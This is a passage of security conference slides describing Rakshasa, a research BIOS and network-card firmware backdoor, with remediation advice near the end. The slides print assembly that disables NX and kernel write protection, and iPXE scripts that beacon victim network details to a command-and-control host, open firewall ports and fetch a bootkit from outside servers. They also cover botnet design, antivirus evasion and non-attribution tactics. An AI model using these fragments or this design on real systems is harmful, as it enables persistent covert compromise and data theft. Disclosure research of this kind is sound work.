# Hardware Backdooring is practical

#### Jonathan Brossard (Toucan System)



#### Whitepaper

#### http://www.toucan-system.com/research/ blackhat2012\_brossard\_hardware\_ backdooring.pdf

# Slides



# DISCLAIMER

- We are not « terrorists ». We won't release our PoC backdoor.
- The x86 architecture is plagued by legacy. Governments know. The rest of the industry : not so much.
- There is a need to discuss the problems in order to find solutions...
- This is belived to be order of magnitudes better over existing backdoors/malware



# Agenda

- Motivation : state level backdooring ?
- Coreboot & x86 architecture
- State of the art in rootkitting, romkitting
- Introducing Rakshasa
- Rakshasa design
- Why cryptography (Truecrypt/Bitlocker/TPM) won't save us...
- Backdooring like a nation state

# Who am I?

- Security researcher, pentester
- First learned asm (~15 years ago)
- Presented at Blackhat/Defcon/CCC/HITB...
- Master in Engineering, master in Computer Sciences
- Co organiser of the NoSuchCon Conference (Paris)

Likes : Unix, network, architecture, low level, finding 0days (mem corruptions).

Dislikes : web apps, canned exploits.

- Super pure English accent (French, <u>learned English in India</u>, lives in Australia...;))


## FUD 101



# Could a state (eg : China) backdoor all new computers on earth?

Occupying the Information High Ground: *Chinese Capabilities for Computer Network Operations and Cyber Espionage* 

This close relationship between some of China's—and the world's—largest telecommunications hardware manufacturers creates a potential vector for state sponsored or state directed penetrations of the supply chains for microelectronics supporting U.S. military, civilian government, and high value civilian industry such as defense and telecommunications, though no evidence for such a connection is publicly available.




### More introductory material



cyberdéfense ? C'est ce qui ressort d'un rapport sénatorial conduit par Jean-Marie Bockel et disponible sur le site de la chambre haute du parlement. Si le document liste dix priorités et propose cinquante recommandations, l'une des pistes avancées par le sénateur socialiste a particulièrement surpris.


Cette priorité, la dixième, propose "d'interdire sur le territoire national et à l'échelle européenne le déploiement et l'utilisation de 'routeurs' ou d'autres équipements de cœur de réseaux qui présentent un risque pour la sécurité nationale, en particulier les 'routeurs' et certains équipements d'origine



chinoisa" Et deux sociétés cont directement citées dans le ranport . 7TE et Huawei

## Enough FUD... A bit of x86 architecture





#### State of the art, previous work



# Previous work

- Early 80s : Brain virus, targets the MBR
- 80s, 90s : thousands of such viruses
- 2007, John Heasman (NGS Software) Blackhat US: backdoor EFI bootloader
- 2009, Anibal Saco and Alfredo Ortega (Core security), CanSecWest : patch/flash a Pheonix-Award Bios
- 2009, Kleissner, Blackhat US : Stoned bootkit. Bootkit Windows, Truecrypt. Load arbitrary unsigned kernel module.
- 2010, Kumar and Kumar (HITB Malaysia) : vbootkit bootkitting of Windows 7.
- Piotr Bania, Konboot : bootkit any Windows (32/64b)
- 2012 : Snare (Blackhat 2012) : UEFI rootkitting

# Introducing Rakshasa



# Goals : create the perfect backdoor


- Persistant
- Stealth (0 hostile code on the machine)
- Portable (OS independant)
- Remote access, remote updates
- State level quality : plausible deniability, non attribution
- Cross network perimeters (firewalls, auth proxy)
- Redundancy
- Non detectable by AV (goes without saying...)

# Main idea (1/3)











Typical Corporate Network

### Main idea (2/3)



# Main idea (3/3)



# Rakshasa : Design (1/2)

- Core components :
  - Coreboot
  - SeaBios
  - iPXE
  - payloads

Built on top of free software : <u>portability</u>, <u>non</u> <u>attribution</u>, <u>cheap dev</u> (~4 weeks of work), <u>really really</u> <u>really hard to detect as malicious</u>.


• Supports 230 motherboards.

# Rakshasa : Design (2/2)


- Flash the BIOS (Coreboot + PCI roms such as iPXE)
- Flash the network card or any other PCI device (redundancy)
- Boot a payload over the network (bootkit over https)
   → Boot a payload over wifi/wimax (breach the network perimeter, bypasses network detection, I(P|D)S )

 $\rightarrow$  Remotely reflash the BIOS/network card if necessary

# Rakshasa architecture (1/2)



# Rakshasa architecture (2/2)



## Rakshasa : embedded features

- Remove NX bit  $\rightarrow$  executable heap/stack.
- Make every mapping +W in ring0
- Remove CPU updates (microcodes)
- Remove anti-SMM protections → generic local root exploit
- Disable ASLR
- Bootkitting (modified Kon-boot payload\*)

\* Thanks to Piotr Bania for his contribution to Rakshasa :)

#### Rakshasa : removing the NX bit (1/2)

MSR !!! Model Specific Register

AMD64 Architecture Programmer's manual (volume 2, Section 3.1.7 : Extended Feature Enable Register) :

No-Execute Enable (NXE) Bit. Bit 11, read/write. Setting this bit to 1 enables the no-execute pageprotection feature. The feature is disabled when this bit is cleared to 0.

## Rakshasa : removing the NX bit (2/2)

#### ; Disable NX bit (if supported)

mov eax,0x80000000 cpuid	; get higher function supported by eax ; need amd K6 or better (anything >= 1997 should be ok)
cmp eax,0x80000001 jb not_supported	; need at least function 0x80000001
mov eax,0x80000001 cpuid	; get Processor Info and Feature Bits
bt edx,20 jnc not_supported	; NX bit is supported ?
mov ecx, 0xc0000080 rdmsr btr eax, 11 wrmsr	; extended feature register (EFER) ; read MSR ; disable NX (EFER_NX) // btr = bit test and reset ; write MSR

not\_supported:

# Make every mapping +W in ring0

Intel Manuals (Volume 3A, Section 2.5):

Write Protect (bit 16 of CR0) - When set, inhibits supervisor-level procedures from writing into read-only pages; when clear, allows supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting; see Section 4.1.3 and Section 4.6). This flag facilitates implementation of the copy-on-write method of creating a new process (forking) used by operating systems such as UNIX.

# Make every mapping +W in ring0 (32b/64b)

; 32b version :

mov eax,cr0 and eax,0xfffeffff mov cr0,eax

; 64b version : mov rax,cr0 and rax,0xfffeffff mov cr0,rax

## Remove CPU updates (microcodes)

rm -rf ./coreboot/microcodes/

# Remove anti-SMM protections (1/2)

Intel® 82845G/82845GL/82845GV Graphics and Memory Controller datasheets, Section 3.5.1.22: SMRAM—<u>System Management RAM Control Register</u> (Device 0), <u>bit 4</u>:

SMM Space Locked (D\_LCK)—R/W, L. When D\_LCK is set to 1, D\_OPEN is reset to 0; D\_LCK, D\_OPEN, C\_BASE\_SEG, H\_SMRAM\_EN, TSEG\_SZ and TSEG\_EN become read only. D\_LCK can be set to 1 via a normal configuration space write but can only be cleared by a Full Reset. The combination of D\_LCK and D\_OPEN provide convenience with security. <u>The BIOS can use the</u> <u>D\_OPEN function to initialize SMM space and then use D\_LCK to "lock down" SMM space</u> in the future so that no application software (or BIOS itself) can violate the integrity of SMM space, even if the program has knowledge of the D\_OPEN function.

# Remove anti-SMM protections (2/2)

D\_LCK is not supported by CoreBoot currently anyway...

; disable D\_LCK shellcode for Coreboot... nop

# Disable ASLR

- OS dependant.
- Seed for <u>full ASLR</u> has to be in kernel land (equivalent of execve()).
- $\rightarrow$  patch the seed with a known value
- Seed location for Windows 7 identified by Kumar & Kumar (HITB KL 2010).

 $\rightarrow$  Mapping is 100% repeatable :)

# Rakshasa : embedded features : conclusion

 $\rightarrow$  Permantent lowering of the security level on <u>any OS</u>.

 $\rightarrow$  Welcome back to the security level of <u>1997</u>.

 $\rightarrow$  Persistant, even if HD or OS is remove/restored.

### Rakshasa : remote payload

- Currently capable of Bootkitting any version of Windows (32b/64b) thanks to special version of Kon-boot
- Bootkit future Oses ? → Update/remove/reflash firmwares (PCI, BIOS)

# Rakshasa : stealthness

- We don't touch the disk. 0 evidence on the filesystem.
- The <u>code</u> flashed to motherboard is not hostile per si (there is one text file with urls in it.. that's it).
- We can remotely boot from an alternate payload or even OS : fake Truecrypt/Bitlocker prompt !
- Optionally boot from a WIFI/WMAX stack : 0 network evidence on the LAN.
- Fake BIOS menus if necessary. We use an embedded CMOS image. We can use the real CMOS nvram to store encryption keys/backdoor states between reboots.

Rakshasa : why using Coreboot/SeaBios/iPXE is the good approach

- <u>Portability</u> : benefit from all the gory reverse engineering work already done !
- <u>Awesome modularity</u> : embbed existing payloads (as floppy or cdrom images) and PCI roms directly in the main Coreboot rom !
   Eg : bruteforce bootloaders (Brossard, H2HC 2010), bootkits without modification.
- <u>Network stacks</u> : ip/udp/tcp, dns, http(s), tftp, ftp... make your own (tcp over dns? Over ntp ?)
- Code is legit : <u>can't be flagged as malware</u> !

# DEMO : Evil remote carnal pwnage (of death)



# Exemple iPXE configuration files : get an IP

#!ipxe

# try dhcp first, else use static IP dhcp || ( set net0/ip 192.168.0.3 && set net0/netmask 255.255.255.0 && set net0/gateway 192.168.0.1)

# Exemple iPXE configuration files : fun with webapps...

# evil pingback to C & C internet blog with HTTP auth...

kernel http://admin:p4ssw0rd@2012.hackitoergosum.org/xmlrpc.php?ip=\$ {net0/ip}&mac=\${net0/mac}&netmask=\${net0/netmask}&gateway=\$ {net0/gateway}&dns=\${net0/dns}&domain=\${net0/domain} ||

# Send an email using open relay web application

kernel http://vulnerablehost.com/vulnservice.asp? mail-from=Rakshasa&mail-toaddress=endrazine %40gmail.com&mail-subject=BIOS%20Owned ||

# Rooter pharming : modify firewall settings

kernel http://admin:password@2012.hackitoergosum.org/cgi-bin/firewall? action=enable&port=all ||

kernel http://root:root@2012.hackitoergosum.org/cgi-bin/firewall? enableport=all ||

### Exemple iPXE configuration files : chain configuration loader from the web

#chain loader over https

chain https://www.pmcma.org/ads/love.jpg?ip=\$ {net0/ip}&mac=\${net0/mac} ||

## Exemple iPXE configuration files : boot an alternate OS/bootkit

# discard everything done so far imgfree

# fetch memdisk kernel over the internet via ftp
kernel ftp://ftp.pmcma.org/pwnage/memdisk.pdf ||

# fetch bootkit payload over the internet via http
initrd http://www.pmcma.org/wp-content/uploads/2012/07/bootkit.pdf ||

# boot

boot

### More demos



### Apache logs

jonathan@blackbox: ~
<u>Fichier Édition Affichage Rechercher Terminal Aide</u>
bash-4.2# tail -n 4 /var/log/apache2/access.log
10.239.173.250 [28/Jul/2012:22:39:17 +1000] "GET /ads/love.jpg?ip=10.0.2.15&
mac=52%3A54%3A00%3A12%3A34%3A56&netmask=255.255.255.0&gateway=10.0.2.2&dns=10.0.
2.3&domain= HTTP/1.1" 200 1637 "-" "Mozilla/6.0 (Macintosh; I; Intel Mac OS X 11
_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4"
10.239.173.250 [28/Jul/2012:22:40:26 +1000] "GET /ads/love.jpg?ip=10.0.2.15&
mac=52%3A54%3A00%3A12%3A34%3A56&netmask=255.255.255.0&gateway=10.0.2.2&dns=10.0.
2.3&domain= HTTP/1.1" 200 1624 "-" "Mozilla/6.0 (Macintosh; I; Intel Mac OS X 11
_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4"
10.239.173.250 [28/Jul/2012:22:42:08 +1000] "GET /ads/love.jpg?ip=10.0.2.15&
mac=52%3A54%3A00%3A12%3A34%3A56&netmask=255.255.255.0&gateway=10.0.2.2&dns=10.0.
2.3&domain= HTTP/1.1" 200 1632 "-" "Mozilla/6.0 (Macintosh; I; Intel Mac OS X 11
_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4" 10.239.173.250 [28/Jul/2012:22:44:30 +1000] "GET /ads/love.jpg?ip=10.0.2.15&
mac=52%3A54%3A00%3A12%3A34%3A56&netmask=255.255.255.0&gateway=10.0.2.2&dns=10.0.
2.3&domain= HTTP/1.1" 200 1621 "-" "Mozilla/6.0 (Macintosh; I; Intel Mac OS X 11
_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4"
_7_9, de-ci, rv.1.904) deck0/2012010317 Ptref0x/10.004
00311-4-2/

### **BIOS** email pingback

Trash - endrazine@gmail.com - Mozilla Thur			
<u>File Edit View Go Message OpenPGP</u>			
🖄 Get Mail 🔻 📝 Write 🛄 Address Book	© Tag▼ G Déchiffrer	Search all messages <ctrl+k></ctrl+k>	୍
📷 Trash - endrazine@gmail.c			Q. •
All Folders	🖹 🏠 🖉 Subject	∞ From	🍐 Date 🔻 🖽
✓ endrazine@gmail.com	☆ Rakshasa Pingback Defcon Demo	<ul> <li>Rakshasa</li> </ul>	• 22:40
🖄 Inbox (574) 🗐 Drafts (1)	Rakshasa Pingback Defcon Demo     Askshasa Pingback Defcon Demo     Rakshasa Pingback Defcon Demo	<ul> <li>Rakshasa</li> <li>Bakshasa</li> </ul>	• <b>22:42</b> • 22:44
) Sent			
▶ ⓑ Archives 중 Trash (14)			🥃 reply 🔻 😺 forward 📳 archive 💧 junk 😭 delete
aaa_IMPORTANT	from Rakshasa		
aaa_toread	subject Rakshasa Pingback Defcon Demo		22:44
ACS (1) alt.security	to You 😭		other actions 🗸
apple_secufityfocus			
autiste (2)	Attn:	_	
🖻 botnets 🎘 BSides	Please register me as a member of	the	
bugtraq (2407)	riedse register me as a member or		
🖻 cisco-fr (5)			
Code-crunshers			
comp.os.linux.security	ip: 10.0.2.15		
Comp.security.firewalls			
🖻 comp.security.misc 🖻 comp.security.ssh	mac: 52:54:00:12:34:56		
Comp.security.unix	netmask: 255.255.255.0		
🛅 comp.sys.sun.admin	TELIIIdSK: 255.255.255.0		
🖻 comp.unix.solaris 陭 cru-detescan	gateway: 10.0.2.2		
🗁 cru_fr-dns (66)			
Cru_fr-droit	dns: 10.0.2.3		
🖻 cru_fr-oracle 🛅 dailydave (365)			
🛅 darklab			
Contraction of the second seco	Domoto Compol Dumono of dooth		
🖻 dshield 🏲 eresi	Remote Carnal Pwnage of death		
acebook (1)			
find_bugs (15)			
firewalls_securityfocus			
🛅 focus_linux			
focus-virus			
🖻 freedesktop (1)			
≊full_disclosure (3956)			
🖻 gcc-bugs			
Google + (1)  Google alert			
🖻 grsecurity (4)			
hackens			
hackin9 ™HES			

## How to properly build a botnet ?

HTTPS + assymetric cryptography (client side certificates, signed updates)

If Microsoft can do secure remote updates, so can a malware !

- Avoid DNS take overs by law enforcement agencies by directing the <u>C&C rotatively on innocent web sites</u> (are you gonna shut down Google.com?), use <u>assymetric crypto</u> to push updates.
- So you own my C&C for 1hour ? You can't do anything with it !!

### $\rightarrow$ C&C CAN'T BE SHUT DOWN OR TAKEN OVER.

### Why crypto won't save you...



## Why crypto won't save you (1/2)

- We can fake the bootking/password prompt by booting a remote OS (Truecrypt/Bitlocker)
- Once we know the password, the BIOS backdoor can emulate keyboard typing in 16b real mode by programming the keyboard/motherboard PIC microcontrolers (Brossard, Defcon 2008)
- If necessary, patch back original BIOS/firmwares remotely.

## Why crypto won't save you (2/2)

TPM + full disk encryption won't save you either :

1) It's a passive chip : if the backdoor doesn't want explicit access to data on the HD, it can simply ignore TPM.

2) Your HD is never encrypted when delivered to you. You seal the TPM when you encrypt your HD only. So TPM doesn't prevent backdooring from anyone in the supply chain.

### How about Avs ??

- Putting an AV on a server to protect against unknown threats is purely cosmetic.
- You may as well put lipstick on your servers...



## Example : 3 years old bootkit

### **Svirustotal**

SHA256:	214ce3ce21e38ea145ba2cd52cce7e94367a2701ea5f4efda4a1cc248fbec1d2	
File name:	konFLOPPY.img	
Detection ratio:	2 / 43	0 0
Analysis date:	2012-03-07 07:14:43 UTC ( 3 weeks, 3 days ago )	

Kaspersky		20120307
McAfee	-	20120307
McAfee-GW-Edition	Heuristic.BehavesLike.Exploit.CodeExec.EPMG	20120307
Microsoft	-	20120307
NOD32	-	20120307
Norman	nown virus, B.H	20120304
nProtect	-	20120306

# Example : 3 years old bootkit (+ simple packer)

### **Svirustotal**

SHA256:	8575ab				
File name:	k.lzma				
Detection ratio:	0 / 41		Align -	A STATE AND A STATE AND A	
Analysis date:	2012-03		A CONTRACTOR	FILL CALL	
		لمغ			Sa
		and the second sec		A to Letter in	
ntivirus		1. Mar			a alia
nnLab-V3		A S S	1 2 La Callan La	A STATE OF STATE	
ntiVir		A The second	and the second	and the state of the second	MAN AN AREA
ntiy-AVL		A Sunday	Chille Sittin Warm. An	N. A. M. Markey	
/ast					
/G			目的開始劇劇		Stiles.
tDefender		A STREET, STRE			
rteHero				1.812 and	
AT-QuickHeal					
amAV					
ommtouch		4			
omodo			đ	201	20331
					20331
Web			12	201	20001

### Realistic attack scenarii



### Realistic attack scenarii

- Physical access :
- <u>Anybody in the supply chain can backdoor your</u> <u>hardware.</u> Period. Flash from a bootable USB stick (< 3mins).

```
    <u>Remote root compromise</u> :
        If (OS == Linux) {
            flash_bios;
            } else {
            Pivot_over_the_MBR;
            }
```

### Realistic attack scenarii

D-link DGE 530T dge530t 1000MT Gigabit Desktop PCI NETWORK NIC CARD 10/100/1000   eBay - M	Aozilla Firefox	
<u>File Edit View History Bookmarks Tools H</u> elp		
🔄 Index of file:///opt/rakshasa/d 💥 💭 Low Cost Embedded x86 Tea 💥 🔛 Index of file:///opt/raks	shasa/d 🗱 🗋 Pinczakko's Guide to Self-pa 💥 🏼 🖉 D-link DGE 530T dge530t 10 💥 📴	
www.ebay.com/itm/D-link-DGE-530T-dge530t-1000MT-Gigabit-Desktop-PCI-NETWORK-	-NIC-CARD-10-100-/140706820838?pt=LH_DefaultDomain_0&hash=item20c2c7b2e6 🛛 😭 🛪 🚭 🛃 🛪 Google	् 🏠 🦗
📷 Most Visited▼ 🗍 Tasks 🛛 Ralf Brown 📃 HES 2012 💿 HES orga 🦳 My box 📋 Linux/i386 system	em c 🍙 Reverse IP Lookup 🗌 http://www.zonabat 🔤 http://www.mgid.co 🗌 The Art of Assembly 🚱 DEF CON® 19 Hack 🗍 Jeu d'instruction x86	
Welcome! Sign in or register.	Go My eBay Sell Community Customer Support 🥁 Cart	
CATEGORIES 👻 ELECTRONICS FASHION	MOTORS TICKETS DEALS CLASSIFIEDS	
Back to search results   Computers & Networking > Network	tworking & Communications > Network Interface Cards > PCI Network Cards > Gigabit & Up	
i This is a private listing. Sign in to view your state	us or learn more about private listings.	
FREE	D-link DGE 530T dge530t 1000MT Gigabit Desktop PCI NETWORK NIC CARD 10/100/1000	
	Item condition: Used Share: 🖂 🛐 😰   Add to Watch list	
	Quantity: 1 More than 10 available / 20 sold Top-rated seller	
TO SOT	US \$8.94 Buy It Now Add to Cart W Add to Watch list • New! eBay shopping cart Add to Watch list • New! eBay shopping cart Shop, compare and buy several Items at once with your shopping cart. Add to Watch list •	
	BillMeLater       \$10 back on 1st purchase & 6 months to pay Subject to credit approval. See terms       Save this seller         See other items       See other items	
Q Click to view larger image	Shipping: FREE - ePacket delivery from China   See all details Visit store: Visit s	
Sell one like this	Delivery:       Estimated between Sat. Apr. 21 and Fri. Apr. 27 @       Buy and sell on the go!         Payments:       PayPar, Bill Me Later   See details       It's easy with the eBay Mobile app         Returns:       14 days money back, buyer pays return shipping   Read details       Download FREE app	
	Endemander for deep water by deep by deam enopying index data         Example of the endemand of the	
Description Shipping and payments	Print   Report item	
Seller assumes all responsibility for this listing.	Item number: 140706820838	
Item specifics		

## BONUS : Backdooring the datacenter



IPXE - open source boot firmware [howto:vmware] - Mozilia Firefox			
file Edit View Higtory Bookmarks Tools Help			
ኛ iPXE - open source boot firmwa 😑			-
🚑 🏟 🔀 Ipxe.org/howto/vmware		्र 🐨 😴 🚺 🕼 🕶 Coogle	् 🖕 🖉
🕅 Most Visited 👻 🔅 Tasks 🦛 Ralf Brown 💼 HES 2012 🛞 HES orga. 🔅 My box	🗇 Linux/1396 system c 🍙 Reverse IP Lookup 🔿 http://www.zonabat 🚈 http://ww	ww.mgid.co 📋 The Art of Assembly 😒 DEF CONIO 19 Hack 💮 Jeu d'instruction x88	3
	Using iPXE in VMware	Tuble of Contents +	-
	You can replace the default $@VHware PXE BOH with an IPXE BOH, which will enable you to beet your virtual machine via HTTP, ISCS1, AoE, or any other protocol supported by ITXE.$	Selecting the network adapter     Building the ROM images     Configuring the kinetic machine     Booting the virtual machine	

### Selecting the network adapter

VMware is capable of emulating several network adapters:

VMware name	<b>IPXE driver name</b>	PCI vendor:device IDs	IPXE ROM Image
+1000	±1000	8996:109f	8085199f.mron
c 1000c	c1000e	0006; 10d0	000510d0.mron
viance	penet32	1822:2088	10222880, ron
vmxnel	(not supported)	15ad: 0729	
vmxnet3	vmxnet3	15ad: 0750	(bad0/b0, ron



Select one of the supported network adapters, and ensure that your virtual machine is configured to use this adapter. You can do this by editing the  $\mathfrak{F}$ , vmx this had before your virtual machine, and changing the setting

ethernet0.virtualDev

For example, to select an e1000 network adapter:

ethermet0.vintualDev = he19991

### Building the ROM images

Download iPXE and then build ROM images for all of the supported network adapters using:

make bin/9005100f.mcm.bin/000610s0.mcm.bin/10222000.com.bin/15ad07s0.com

Copy the IPXE ROM images 8886100f mrom, 808610d3 mrom, 18222000 rom and 132607b0 rom to a suitable location (e.g. to the directory /usr/lib/enware/resources/).

### Configuring the virtual machine

Edit the  $\otimes$  vmx file that defines your virtual machine, and add the following lines:

elbernal0. opromize 262134	
<pre>cloosbies.tilename = "/usr/lib/vmvare/resources/8986198f.mron"</pre>	
<pre>cl008cbios.filename = "/usr/lib/wnware/resources/80861063.mren"</pre>	
nbios.filenane "Zusn/lib/waware/resources/10222000.nom"	
a nxbros.filename = "" nxBbios.filename = "/usr/lib/vmware/resources/15ad07bB.rom"	
nx3blos.titename = "/usr/lib/vmware/resources/lbadu/bb.rem"	

(replacing Aust/Lib/wware/resources/ with the name of the directory to which you copied the iPXE ROM images).

### Booting the virtual machine

CHIEF MORE MADE AND ANT SMELLAR

Bool your virtual machine in the usual way. You should see VMware detect and use the iPXE ROM:

### Remediation



## Remediation (leads)

- Flash any firmware uppon reception of new hardware with open source software you can verify.
- Perform checksums of all firmwares by physically extracting them (FPGA..) : costly !
- Verify the integrity of all firmwares from time to time
- Update forensics best practices :
   1) Include firmwares in SoW
   2) <u>Throw away your computer in case of intrusion</u>

Even then... not entirely satisfying : the backdoor can flash the original firmwares back remotely.

### Post intrusion recovery


- You can't trust your BIOS

 $\rightarrow$  you can't flash from the OS or even floppy/cdrom.

- $\rightarrow$  need physical flasher.
- Rakshasa can reinfect itself from any PCI expension ROM.

 $\rightarrow$  you need to flash all the firmwares of the motherboards at the same time.

### Exemple of flasher : BIOS Savior



# Flashing BIOS/PCI firmwares remotely



### Side note on remote flashing

- BIOS flashing isn't a problem : the flasher (Linux based) is universal.
- PCI roms flashing is more of a problem : flasher is vendor dependant.

How to solve this issue...?

# Detecting network card manufacturer from the remote C&C

View     Higtory     Bookmarks     Tools     Help       open source boot firmwa     +	
ipxe.org/scripting	ি <b>৵ ৠ</b>   🛃 ▼ ipxe 🔍
sited 🔻 🗌 Tasks 📠 Ralf Brown 📃 HES 2012 💿 HES orga 🗌 My box 📋 Linux/i386 system c 🍥 Reverse IP Lookup 🗋 http://www.zi	zonabat 😹 http://www.mgid.co 🗌 The Art of Assembly 🥵 DEF CON® 19 Hack 📋 Jeu d'instruction x86
Dynamic scripts	
An iPXE script does not have to be a static text file. For example,	you could direct iPXE to boot from the URL
http://192.168.0.1/boot.php?mac=\${net0/mac}&asset=\${asset	:uristring}
which would expand to a URL such as	
http://192.168.0.1/boot.php?mac=52:54:00:12:34:56&asset=B	KQ42M1
The boot.php program running on the web server could dynamica the URL. For example, boot.php could look up the asset tag in a M boot from, and then dynamically generate a script such as #!ipxe	
set initiator-iqn iqn.2010-04.org.ipxe:BKQ42M1 sanboot iscsi:192.168.0.20::::iqn.2010-04.org.ipxe:winxp	
1) For the sake of backwards compatibility, iPXE will also recognise leg gPXE is not capable of running iPXE scripts, since the iPXE script langu language.	
scripting.txt · Last modified: 201	1/12/02 21:36 by mcb30
	5 c c c c
ogin	Searc

### Backdooring like NSA China



## Backdooring like a nation state

### Rule #1 : non attribution

- you didn't write the free software in first place.
- add a few misleading strings, eg : in mandarin ;)


### Rule #2 : plausible deniability

- use a bootstrap known remote vulnerability in a network card firmware
- (eg : Duflot's CVE-2010-0104)
- $\rightarrow$  « honest mistake » if discovered.
- remotely flash the BIOS.
- do your evil thing.
- restore the BIOS remotely.

### More DEMOS



# Booting an alternate OS from a Storage Area Network (SAN)



This is possible over a fast enough link (gigabit ethernet for instance)

Booting an alternate OS from a Storage Area Network (SAN)

#!ipxe

# fecth iso from SAN and boot
 sanboot http://boot.ipxe.org/freedos/fdfullcd.iso


### The fake problem of BIOS Graphics

- CoreBoot supports adding a bootsplash if you know in advance what BIOS is targetted.

- SeaBIOS has a very minimal menu (wiped out in Rakshasa). Other payloads can have better menus.


Actually...

# Exemple GUI payload : invaders (http://www.erikyyy.de/invaders/)



### **UEFI** extention

### Use TianoCore payload instead of SeaBIOS



### Outro



## Outro

This is <u>not</u> a vulnerability :

- it is sheer bad design due to legacy.
- don't expect a patch.

- fixing those issues will probably require breaking backward compatibility with most standards (PCI, PCIe, TPM).

### Questions ?

